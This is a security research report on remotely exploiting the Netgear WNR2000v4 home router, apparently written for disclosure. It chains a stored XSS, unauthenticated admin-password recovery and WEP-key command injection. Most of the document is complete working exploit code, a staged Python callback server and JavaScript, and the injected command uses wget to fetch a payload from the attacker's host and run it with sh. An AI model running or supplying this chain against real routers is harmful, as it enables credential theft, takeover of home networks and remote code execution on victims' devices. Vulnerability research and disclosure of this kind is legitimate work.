Exploitation of the Netgear N300 WNR2000v4 SOHO Router

Alex Eubanks
endeavor@rainbowsandpwnies.com

Introduction

While attackers traditionally target endpoint devices, such as personal computers, servers, or mobile devices, the exploitation of network devices, especially those at the, “Border,” of local-area and wide-area networks, remains interesting due to unique considerations.

Omitted

The Netgear N300 WNR2000v4 router (here forth referred to as WNR2000v4) was chosen for this project as a challenge between the author and a volunteer, MW, where MW volunteered and authorized the author to attempt a remote exploitation of his home router.

The following exploit was written over the course of six days, from 06MAR2015 to 12MAR2015, with a critical bug-fix taking place on 13MAR2015.

An overview of the WNR2000v4 exploit

The WNR2000v4 firmware is a modified version of the open source OpenWRT firmware. Of importance to us are two components. One is a system-wide key-value stored known as, “Config,” which appears to be, perhaps, a modified version of OpenWrt's UCI.[1] The other is heavily modified version of the web server uhttpd.[2]

Our attack will require the victim to visit an attacker-controlled webpage, at which point we execute the following actions:

1. Exploit an unauthenticated, stored Cross-Site Scripting vulnerability in uhttpd to run javascript within the same-origin of the WNR2000v4 administrative website.
2. Execute a sequence of unauthenticated requests against the administrative website to recover the login credentials for futher authenticated actions.
3. Enable remote access to the administrative website and fetch a copy of the, “Config,” before changes to the WNR2000v4 are made.
4. Exploit a command-injection vulnerability in the processing of 128-bit WEP Keys.
5. Fetch and restore the original server config, placing the router back in its original state before exploitation.

uhttpd

The WNR2000v4 administrative panel runs on top of a heavily modified version of uhttpd. While we will not cover the inner-workings of this webserver in detail, some details into its operation are necessary to understand the path towards exploitation.

uhttpd: apply.cgi and apply_noauth.cgi

Most settings in the WNR2000v4 administrative panel are set through a `POST HTTP` request to

1 http://wiki.openwrt.org/doc/uci
2 http://wiki.openwrt.org/doc/howto/http.uhttpd

apply.cgi. There also exists an apply_noauth.cgi. All requests to apply.cgi can be passed to apply_noauth.cgi, and they will be run without the requirement for login credentials, allowing for the blind, unauthenticated execution of some administrative panel functions. For reasons why blind, unauthenticated execution of all administrative panel functions is not possible, we discuss the WNR2000v4 uhttpd feature timestamp.

uhttpd: timestamp

timestamp is the name of a Cross-Site Request Forgery token used extensively by apply.cgi, named timestamp due to its creation by seeding srand() with time(), and then performing various shuffling over the result from a subsequent call to rand(). Each apply.cgi action has a unique timestamp, generated upon page rendering.

For example, take the scenario of updating wireless network settings. When a user visits /WLG_wireleses.htm, a new timestamp will be created, inserted into the action url of the displayed HTML form, and stored in the, "Config," with a key of, "wlan". The resulting form action URL will be: "apply.cgi?{FOLLOW_ON_REDIRECT_URL}%20timestamp={TIMESTAMP}". Inside this form will be a hidden input field named, "submit_flag", with a value of "wlan". Upon receiving the form's POST request, apply.cgi will fetch the value of "submit_flag" from submitted POST variables, fetch this value from the config, and compare it to the timestamp. If the two values do not match, the request will abort.

There are two weaknesses in timestamp. First, if the time a victim performed a certain apply.cgi action can be guessed, repeated apply_noauth.cgi actions can be conducted with increasing values of time until the correct timestamp if discovered. Second, if an apply.cgi action has never been performed, the timestamp stored in the config for that action will be the empty string, and omitting the timestamp in the REQUEST will allow the apply.cgi action to process. The author chose to exploit the second weakness, combined with the weakness of apply_noauth.cgi, to perform some blind, unauthenticated actions against WNR2000v4.

Running Javascript with Same-Origin as WNR2000v4 Administrative Panel

This exploit makes extensive use of multiple instances of XMLHttpRequest from the victim's web browser against the WNR2000v4 administrative panel. In order for a browser's XMLHttpRequest to accept data from the WNR2000v4 administrative panel, we must ensure this javascript runs from the same-origin as the access panel, else we run into problems with Cross-Origin Resource Sharing, here forth known as CORS.

To bypass the problems of CORS, we exploit an unauthenticated, stored Cross-Site Scripting vulnerability. We now observe Exhibit A, a code snippet from securityquestions.cgi

```
function loadvalue()
{
	var answer_again="<% cfg_get("enter_answer_again") %>";
	var last_error_ans1="<% cfg_get("last_error_ans1") %>";
	var last_error_ans2="<% cfg_get("last_error_ans2") %>";

	<% cfg_set("enter_answer_again","0") %>
	<% cfg_set("last_error_ans1", "") %>
	<% cfg_set("last_error_ans2", "") %>
	<% commit() %>

	if( answer_again == "1" )
```

```
      {
...
<form method="post" action="/apply_noauth.cgi?/securityquestions.cgi">
<INPUT type=hidden name=submit_flag value="security_question">
...
            <input type="text" maxLength="64" size="30" name="answer1"
onFocus="this.select();" >
...
                <input type="text" maxLength="64" size="30" name="answer2"
onFocus="this.select();" >
...
<p><input class="cancel_bt" type='reset' name="Cancel" value=' $cancel_mark '
onClick='location.href="securityquestions.cgi";'>  
<input class="apply_bt" type="submit" name="continue" value=" $continue_mark "></p>
...
</form>
```

Exhibit A: Code Snippet from securityquestions.cgi

When a form submission to securityquestions.cgi is made, and incorrect values are passed for answer1 or answer2, those answers are reflected in `<% cfg_get("last_error_ans1") %>` and `<% cfg_get("last_error_ans2") %>`. There is some input sanitization, in that the characters <>()" are all escaped with \. Importantly, the character \ is not escaped, allowing us to, "Escape the escape," and insert a " to close the string. Also of importance, the javascript strings "(" and "\(" are equivalent.

We observe an input for answer1 used in the WNR2000v4 exploit which will run base64-encoded javascript within the origin of the WNR2000v4 administrative panel.

```
javascript:{eval(window.atob("''' + stage_one_javascript_base64 +
'''"));}//\\";window.location=last_error_ans1;answer_again=0;//
```

Exhibit B: Unauth, stored XSS payload

In the author's exploit, stage_one_javascript_base64 will execute a XMLHttpRequest to the author's server, which will provide additional javascript for the exploit.

`answer_again` is set to 0 to avoid triggering a condition which will render an `alert()` popup.

Discovering WNR2000v4 Login Credentials

The password recovery features of the WNR2000v4 are displayed to the user only when the option to enable password recovery has been made in the administrative panel. However, the hidden functionality is still available when password recovery has not been enabled. Two actions must be successfully executed in order to recover the login credentials. First, the serial number for the device must be passed to the `apply.cgi submit_flag` action "`match_sn`", and second both security questions must be correctly answered.

The serial number of the device can be fetched through an unauthenticated request to `/BRS_netgear_success.html`. The output of `BRS_netgear_success.html` is given with the author's serial number removed:

```
<html>
<head>
</head>
<body>
<script>
/* 22281: add sn after success href */
```

```
var sn="XXSERIALNUMXX";
//top.location.href = "http://www.netgear.com/success/wnr2000v4.aspx"+"?sn="+sn;
/* to fix bug 29273 */
if( "0" == "1" && "3" == "2" )
      setTimeout('top.location.href = "http://www.netgear.com/success/wnr2000v4.aspx"+"?
sn="+sn;', 2000);
else
      top.location.href = "http://www.netgear.com/success/wnr2000v4.aspx"+"?sn="+sn;
</script>
</body>
</html>
```

Exhibit C: BRS_netgear_success.html

Correctly answering security questions may pose a problem, but the author observes most users do not enable password recovery, or set security questions, for their SOHO routers. In a recent unscientific poll at the latest *OMITTED*, the author asked the audience who has enabled, or would enable, the password recovery feature for their SOHO router. All participants, including MW, gave a negative response.

When security questions are not set, they are equal to the empty string. The author observes the empty string is equal to the empty string in Exhibit D.

```
$ cat emptystring.c
#include <stdio.h>
#include <string.h>

int main (int argc, char * argv[]) {
    if (strcmp("", "") == 0)
        printf("The empty string is equal to the empty string\n");
    else
        printf("error\n");
    return 0;
}
$ gcc emptystring.c -o emptystring
$ ./emptystring
The empty string is equal to the empty string
```

Exhibit D: The empty string

With this information, the following javascript taken from the exploit, when run within the same origin as the WNR2000v4 administrative interface, retrieves login credentials.

```
var response = httpGet(makeUrl(TARGET_HOST, "/BRS_netgear_success.html"));
var re = new RegExp("var sn=\"(.*)\"");
var serialnumber = re.exec(response)[1];
document.body.innerHTML += serialnumber + '<br>';

var data = "submit_flag=match_sn&serial_num=" + serialnumber;
var response = httpPost(makeUrl(TARGET_HOST, "/apply_noauth.cgi?/a"), data);

var data = "submit_flag=security_question&answer1=&answer2="
var response = httpPost(makeUrl(TARGET_HOST, "/apply_noauth.cgi?/a"), data);

var response = httpGet(makeUrl(TARGET_HOST, "/passwordrecovered.cgi"));
var re = new RegExp("Admin Username: (.*)</TD>");
var username = re.exec(response)[1];
var re = new RegExp("Admin Password: (.*)</TD>");
var password = re.exec(response)[1];

document.body.innerHTML += 'username: ' + username + '<br>';
```

```
document.body.innerHTML += 'password: ' + password + '<br>';
```

Exhibit E: Retrieving router login credentials

Maintaining Router Configuration Post-exploitation

While the exploit takes steps to restore the pre-exploitation router configuration, important because the exploit itself will overwrite settings for the wireless network and reveal itself, no new weaknesses are used during this step. The author does not see this step as interesting enough to warrant discussion. Once arbitrary, same-origin authenticated requests can be made to the administrative interface, dumping and restoring configuration settings is left as an exercise to the reader.

An error in restoring a perfect router configuration post-exploitation has been left in the example exploitation code. It is left as an exercise for the reader to fix, lest WNR2000v4 routers be left exposed and vulnerable to the internet.

Command Injection

There exists a command injection vulnerability in the processing of 128-bit WEP passwords. The following example POST parameters will trigger this vulnerability:

```
var commandinject = "/usr/sbin/utelnetd";

var request =
"submit_flag=wlan&Apply=Apply&hidden_wlan_mode=&hidden_wlan_channel=&generate_flag=0&old_
length=13&wl_sec_wpaphrase_len=&wl_hidden_wpa_psk=&hidden_sec_type=&wep_press_flag=0&wpa1
_press_flag=0&wpa2_press_flag=0&wpas_press_flag=0&wps_change_flag=5&hidden_enable_guestNe
t=&hidden_enable_ssidbro=&hidden_allow_guest=&radiusServerIP=&opmode_bg=&wl_mode=&wl_ssid
=NETGEAR44&wl_WRegion=4&wl_hidden_wlan_channel=1&wl_hidden_wlan_mode=1&wl_hidden_sec_type
=2&hidden_WpaeRadiusSecret=&hidden_WpaeRadiusSecret_a=&wl_enable_ssid_broadcast=1&hidden_
enable_video=&wl_tx_ctrl=&wl_apply_flag=1&ssid_bc=1&ssid=NETGEAR44&wla1ssid=NETGEAR-
5G_Guest1&wlg1ssid=NETGEAR-
Guest&WRegion=4&w_channel=1&opmode=1&opmode54=1&security_type=WEP&authAlgm=2&wepenc=13&we
p_key_no=1&KEY1=;" + commandinject + ";&KEY2=&KEY3=&KEY4=";

httpPostAuth(makeUrl(TARGET_HOST, '/apply_noauth.cgi?/WLG_wireless.htm timestamp=' +
timestamp), request, username, password);
```

Exhibit F: Example parameters for command injection

In this example we start the telnet server embedded on the device. A more realistic scenario would be to use wget to fetch a series of commands to be executed. While wget is available in the bundled busybox executable, it seems to crash unless given specific parameters. The author recommends using "`wget -T 10 -O /tmp/somefilename http://host/path`".

Post-Exploitation

Post-exploitation falls beyond the scope of this document. However, the author makes a couple notes.

- A complete cross-compiler toolchain can be obtained easily from the OpenWrt Buildroot.
- While the author was unable to get `gdbserver` running on the remote host, a separate, smaller custom debugger for this device may be available upon request.
- `struct pt_regs` in "`asm/ptrace.h`" was incorrect for the target architecture. The author recommends implementing a custom solution.
- For reasons unknown to the author, perhaps an incorrectly configured cross-compilation toolchain, calls

to `fopen()` result in segfault. Calls to `open()` work just fine, as does all functionality needed for regular and raw sockets.

- The author had issues with dynamically-linked executables. Again, the target environment was not replicated precisely by the toolchain. Statically linked binaries work fine and are roughly 300kb in size.

Conclusion

Embedded devices and SOHO routers are notoriously vulnerable. The WNR2000v4 is no exception.

Complete exploit code is included with this report. It is provided as a proof-of-vulnerability to verify the author's claims.

```
# staged_sploiter.py
import base64
import hashlib
import re
import socket
import time
import urllib

# THIS_HOST is set to the the server running staged_sploiter.py and is required
# to successfully callback
THIS_HOST = '123.123.123.123'
STAGE_ONE_PORT = 8001
STAGE_TWO_PORT = 8002
STAGE_THREE_PORT = 8003
STAGE_FOUR_PORT = 8004
STAGE_FIVE_PORT = 8005
# TARGET_HOST is the assumed internal address of the WNR2000v4 router
TARGET_HOST = '192.168.1.1'


def stage_server (port, content='', contentType='text/html') :
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(('0.0.0.0', port))
    sock.listen(1)

    clientsock = sock.accept()
    print '[+] connection from', clientsock[1]
    remoteaddr = clientsock[1][0]

    request = clientsock[0].recv(1500)

    origin = '*'
    try :
        origin = re.search('Origin: (.*?)\r\n', request).group(1)
    except :
        pass

    http_response = 'HTTP/1.1 200 OK\r\n' + \
    'Date: Mon, 01 Dec 2008 00:23:53 GMT\r\n' + \
    'Cache-Control: no-cache\r\n' + \
    'Pragma: no-cache\r\n' + \
    'Expires: 0\r\n' + \
    'Content-Type: ' + contentType +'\r\n' + \
    'Access-Control-Allow-Origin: ' + origin + '\r\n' + \
    'Connection: close\r\n' + \
    '\r\n' + \
    content

    clientsock[0].sendall(http_response)

    clientsock[0].close()

    return request, remoteaddr


'''
    STAGE ZERO
    We need to reflect javascript into the router firmware. This will allow
    the rest of our code to run with the same origin as the router.

    We first submit a form on behalf of the user. This creates a stored xss. The page
    will automatically reload to the location of the stored xss.
'''

stage_one_javascript = '''x= new XMLHttpRequest();
x.open("GET","http://''' + THIS_HOST + ''':''' + str(STAGE_TWO_PORT) + '''/stage_two",false);
x.send(null);
eval(x.responseText);'''

stage_one_javascript_base64 = base64.b64encode(stage_one_javascript)
```

```
stage_one_html = '''<html>
<head>
<script language="javascript">
function sploit() {
    document.getElementById("form").submit();
}
</script>
</head>
<body onload="sploit();">
<form action='http://''' + TARGET_HOST + '''/apply_noauth.cgi?/"' method="post" id="form">
<input type="hidden" name="submit_flag" value="security_question" />
<input type="hidden" name="answer1" value='javascript:{eval(window.atob("''' +
stage_one_javascript_base64 + '''"));}//\\";window.location=last_error_ans1;answer_again=0;//' />
<input type="hidden" name="answer2" value="" />
<input type="submit" value="submit" />
</form>
</body>
</html>'''

fh = open('stage_1.html', 'w')
fh.write(stage_one_html)
fh.close()

print '[*] waiting for stage 1'

stage_server(STAGE_ONE_PORT, stage_one_html)



'''
    STAGE TWO
    We use a series of calls to the local device to determine its stored
    password, auth with the router, and then used an authed command injection
'''

fh = open('sploit.js', 'r')
stage_two = fh.read()
fh.close()

stage_two = stage_two.replace('{TARGET_HOST}', TARGET_HOST)
stage_two = stage_two.replace('{THIS_HOST}', THIS_HOST)
stage_two = stage_two.replace('{STAGE_4_PORT}', str(STAGE_FOUR_PORT))

fh = open('stage_2.html', 'w')
fh.write(stage_two)
fh.close()

print '[*] waiting for stage 2'

stage_server(STAGE_TWO_PORT, stage_two, 'application/xml')



'''
    STAGE THREE
    Remotely fetch configuration file because fuck javascript XMLHttpRequest
    binary data support
    Need some finer control here to hold first socket (request to grab file)
    until second socket finishes (file actually grabbed)
'''


# wait for request
print '[*] waiting for stage 3'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', STAGE_THREE_PORT))
sock.listen(1)
```

```
clientsock = sock.accept()
print '[+] connection from', clientsock[1]
remoteaddr = clientsock[1][0]

request = clientsock[0].recv(1500)

origin = '*'
try :
    origin = re.search('Origin: (.*?)\r\n', request).group(1)
except :
    pass


#filter out username and password
username = re.search('username=(.*?)&', request).group(1)
password = re.search('password=(.*?) ', request).group(1)

username = urllib.unquote(username)
password = urllib.unquote(password)

print '[*] username = ' + username
print '[*] password = ' + password

print '[*] waiting...'

print '[*] change user ' + remoteaddr

# change user
REQUEST = 'GET /change_user.html HTTP/1.0\r\n' + \
          'Accept: */*\r\n' + \
          'Accept-Language: en-US,en\r\n' + \
          'Accept-Encoding: deflate\r\n' + \
          'Authorization: Basic ' + base64.b64encode(username + ':' + password) + '\r\n' + \
          'Connection: close\r\n\r\n'

sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2.connect((remoteaddr, 54321))
sock2.sendall(REQUEST)
sock2.close()

print '[*] dud log in'

REQUEST = 'GET / HTTP/1.0\r\n' + \
          'Accept: */*\r\n' + \
          'Accept-Language: en-US,en\r\n' + \
          'Accept-Encoding: deflate\r\n' + \
          'Authorization: Basic ' + base64.b64encode(username + ':' + password) + '\r\n' + \
          'Connection: close\r\n\r\n'

sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2.connect((remoteaddr, 54321))
sock2.sendall(REQUEST)
sock2.close()


print '[*] fetching config file from ' + remoteaddr

REQUEST = 'POST /backup.cgi HTTP/1.0\r\n' + \
          'Accept: */*\r\n' + \
          'Authorization: Basic ' + base64.b64encode(username + ':' + password) + '\r\n' + \
          'Connection: close\r\n' + \
          'Accept-Encoding: deflate\r\n' + \
          'Content-Type: application/x-www-form-urlencoded\r\n' + \
          'Content-Length: 1\r\n' + \
          '\r\n' + \
          'a'

sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2.connect((remoteaddr, 54321))
sock2.sendall(REQUEST)
```

```
data = sock2.recv(1500)

while True :
    tmp = sock2.recv(1500)
    if tmp :
        data += tmp
    else :
        break

# split at first \r\n\r\n
data = data[data.find('\r\n\r\n') + 4:]

CONFIG_FILE = data

print '[*] received ' + str(len(data)) + ' bytes for config file'
print '[*] ' + hashlib.md5(data).hexdigest()
sock2.close()

# send response back to user
http_response = 'HTTP/1.1 200 OK\r\n' + \
'Date: Mon, 01 Dec 2008 00:23:53 GMT\r\n' + \
'Cache-Control: no-cache\r\n' + \
'Pragma: no-cache\r\n' + \
'Expires: 0\r\n' + \
'Content-Type: text/html\r\n' + \
'Access-Control-Allow-Origin: ' + origin + '\r\n' + \
'Connection: close\r\n' + \
'\r\n'

clientsock[0].sendall(http_response)
clientsock[0].close()


'''
    STAGE FOUR
    injection commands
'''

print '[*] waiting for stage 4'

fh = open('stage_4', 'r')
stage_four = fh.read()
fh.close()

stage_four = stage_four.replace('{THIS_HOST}', THIS_HOST)
stage_four = stage_four.replace('{STAGE_5_PORT}', str(STAGE_FIVE_PORT))

stage_server(STAGE_FOUR_PORT, stage_four)


'''
    STAGE FIVE
    send back the config
'''

print '[*] waiting for stage ... ERROR (too many stages)'

stage_server(STAGE_FIVE_PORT, CONFIG_FILE)
```

```
// sploit.js
var TARGET_HOST = '{TARGET_HOST}';
var THIS_HOST = '{THIS_HOST}';

var commandinject = "wget -T 10 -O /tmp/stage_4 http://{THIS_HOST}:{STAGE_4_PORT}/stage_4; sh
/tmp/stage_4";

function makeUrl (host, path) {
    return "http://" + host + path;
}

function httpGet (url) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
    return xmlHttp.responseText;
}

function httpPost (url, data) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("POST", url, false);
    xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlHttp.send(data);
    return xmlHttp.responseText;
}

function httpPostBinary (url, data) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("POST", url, false);
    xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlHttp.overrideMimeType('text/plain; charset=x-user-defined-binary');
    xmlHttp.send(data);
    return xmlHttp.responseText;
}

function httpPostAuth (url, data, username, password) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("POST", url, false);
    xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlHttp.setRequestHeader('Authorization', 'Basic ' + btoa(username + ':' + password));
    xmlHttp.send(data);
    return xmlHttp.responseText;
}

function httpGetAuth (url, username, password) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.setRequestHeader('Authorization', 'Basic ' + btoa(username + ':' + password));
    xmlHttp.send();
    return xmlHttp.responseText;
}

function stringToArrayBuffer(str) {
    var buf = new ArrayBuffer(str.length);
    var bufView = new Uint8Array(buf);

    for (var i=0, strLen=str.length; i<strLen; i++) {
        bufView[i] = str.charCodeAt(i);
    }

    return buf;
}

function httpGetAuthBinary (url, username, password) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.setRequestHeader('Authorization', 'Basic ' + btoa(username + ':' + password));
    if (xmlHttp.overrideMimeType)
        xmlHttp.overrideMimeType('text/plain; charset=x-user-defined');
    else
```

```
        alert('hahahaha');
    xmlHttp.send();
    return xmlHttp.response;
}

function htmlDesanitize (html) {
    html = html.replace('&#35;', '#');
    html = html.replace('&#38;', '&');
    return html;
}

// grab login credentials

var response = httpGet(makeUrl(TARGET_HOST, "/BRS_netgear_success.html"));
var re = new RegExp("var sn=\"(.*)\"");
var serialnumber = re.exec(response)[1];
document.body.innerHTML += serialnumber + '<br>';

var data = "submit_flag=match_sn&serial_num=" + serialnumber;
var response = httpPost(makeUrl(TARGET_HOST, "/apply_noauth.cgi?/a"), data);

var data = "submit_flag=security_question&answer1=&answer2="
var response = httpPost(makeUrl(TARGET_HOST, "/apply_noauth.cgi?/a"), data);

var response = httpGet(makeUrl(TARGET_HOST, "/passwordrecovered.cgi"));
var re = new RegExp("Admin Username: (.*)</TD>");
var username = re.exec(response)[1];
var re = new RegExp("Admin Password: (.*)</TD>");
var password = htmlDesanitize(re.exec(response)[1]);

document.body.innerHTML += 'username: ' + username + '<br>';
document.body.innerHTML += 'password: ' + password + '<br>';



// enable remote management
//////////////////////////////

// change user
var response = httpGetAuth(makeUrl(TARGET_HOST, "/change_user.html"), username, password);

// get remote management timestamp
var response = httpGetAuth(makeUrl(TARGET_HOST, "/FW_remote.htm"), username, password);
var response = httpGetAuth(makeUrl(TARGET_HOST, "/FW_remote.htm"), username, password);

var re = new RegExp("timestamp=(.*)\"");
var timestamp = re.exec(response)[1];

document.body.innerHTML += 'FW_remote.htm timestamp ' + timestamp + '<br>';

// enable remote management
var data =
'submit_flag=remote&Apply=Apply&http_rmenable=1&local_ip=...&remote_mg_enable=0&rm_access=all&http_
rmport=54321';
var response = httpPostAuth(makeUrl(TARGET_HOST, "/apply.cgi?/FW_remote.htm timestamp=" +
timestamp), data, username, password);
document.body.innerHTML += 'remote management enabled<br>';

// fetch config remotely
//////////////////////////////

document.body.innerHTML += 'having remote server fetch config...<br>';

var response = httpGet('http://' + THIS_HOST + ':8003/?username=' + encodeURIComponent(username) +
'&password=' + encodeURIComponent(password));

document.body.innerHTML += 'config fetched... disabling remote management<br>';

// disable remote management
//////////////////////////////
```

```
// change user
var response = httpGetAuth(makeUrl(TARGET_HOST, "/change_user.html"), username, password);

// get remote management timestamp
var response = httpGetAuth(makeUrl(TARGET_HOST, "/FW_remote.htm"), username, password);
var response = httpGetAuth(makeUrl(TARGET_HOST, "/FW_remote.htm"), username, password);

var re = new RegExp("timestamp=(.*)\"");
var timestamp = re.exec(response)[1];

// disable remote management
var data =
'submit_flag=remote&Apply=Apply&http_rmenable=0&local_ip=...&remote_mg_enable=0&rm_access=all&http_
rmport=8080';
var response = httpPostAuth(makeUrl(TARGET_HOST, "/apply_noauth.cgi?/FW_remote.htm timestamp=" +
timestamp), data, username, password);


// command injection
//////////////////////////////

document.body.innerHTML += 'ride the pwnie<br>';

// get our special timestamp
var response = httpGetAuth(makeUrl(TARGET_HOST, "/WLG_wireless.htm"), username, password);
var response = httpGetAuth(makeUrl(TARGET_HOST, "/WLG_wireless.htm"), username, password);

var re = new RegExp("timestamp=(.*)\"");
var timestamp = re.exec(response)[1];

document.body.innerHTML += 'timestamp=' + timestamp;

// prepare for lhdo
var request =
"submit_flag=wlan&Apply=Apply&hidden_wlan_mode=&hidden_wlan_channel=&generate_flag=0&old_length=13&
wl_sec_wpaphrase_len=&wl_hidden_wpa_psk=&hidden_sec_type=&wep_press_flag=0&wpa1_press_flag=0&wpa2_p
ress_flag=0&wpas_press_flag=0&wps_change_flag=5&hidden_enable_guestNet=&hidden_enable_ssidbro=&hidd
en_allow_guest=&radiusServerIP=&opmode_bg=&wl_mode=&wl_ssid=NETGEAR44&wl_WRegion=4&wl_hidden_wlan_c
hannel=1&wl_hidden_wlan_mode=1&wl_hidden_sec_type=2&hidden_WpaeRadiusSecret=&hidden_WpaeRadiusSecre
t_a=&wl_enable_ssid_broadcast=1&hidden_enable_video=&wl_tx_ctrl=&wl_apply_flag=1&ssid_bc=1&ssid=NET
GEAR44&wla1ssid=NETGEAR-5G_Guest1&wlg1ssid=NETGEAR-
Guest&WRegion=4&w_channel=1&opmode=1&opmode54=1&security_type=WEP&authAlgm=2&wepenc=13&wep_key_no=1
&KEY1=;" + commandinject + ";&KEY2=&KEY3=&KEY4=";

// now we pray
httpPostAuth(makeUrl(TARGET_HOST, '/apply_noauth.cgi?/WLG_wireless.htm timestamp=' + timestamp),
request, username, password);
```

```
echo stage_4;
/usr/sbin/utelnetd;
```